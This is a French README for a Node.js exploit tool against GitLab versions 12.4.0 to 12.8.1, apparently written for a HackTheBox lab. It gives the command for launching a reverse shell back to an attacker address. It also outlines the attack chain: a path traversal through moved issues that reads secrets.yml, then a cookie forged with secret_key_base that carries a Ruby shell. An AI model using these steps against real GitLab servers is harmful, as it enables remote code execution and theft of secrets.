GitLab v12.4.0-12.8.1 RCE
Basé entièrement sur https://github.com/dotPY-hax/gitlab_RCE, qui n'a pas fonctionné pour moi et le traitement HTML semblait fastidieux, donc je l'ai réécrit en JS.
Utilisation
Lancez un gestionnaire de reverse shell de la manière habituelle, puis exécutez ce script avec :
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Un proxy peut être spécifié avec TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp est particulièrement utile pour le débogage avec ce script.
Ce que ça fait
- vérifie si la cible est accessible
- si l'utilisateur fourni existe déjà, passer à l'étape 5
- scanner un nom d'utilisateur qui n'existe pas encore
- créer cet utilisateur
- tenter de se connecter
- créer deux projets vides
- créer un nouveau ticket d'incident avec un lien malveillant dans son corps dans le premier projet
- déplacer le nouveau ticket vers l'autre projet, ce qui amène GitLab à réécrire notre lien malveillant et à copier le fichier pointé dans le répertoire uploads
- récupère le fichier cible, ici nous voulons le secrets.yml pour le secret_key_base
- utiliser secret_key_base pour fabriquer un cookie malveillant avec notre shell Ruby et le transmettre à GitLab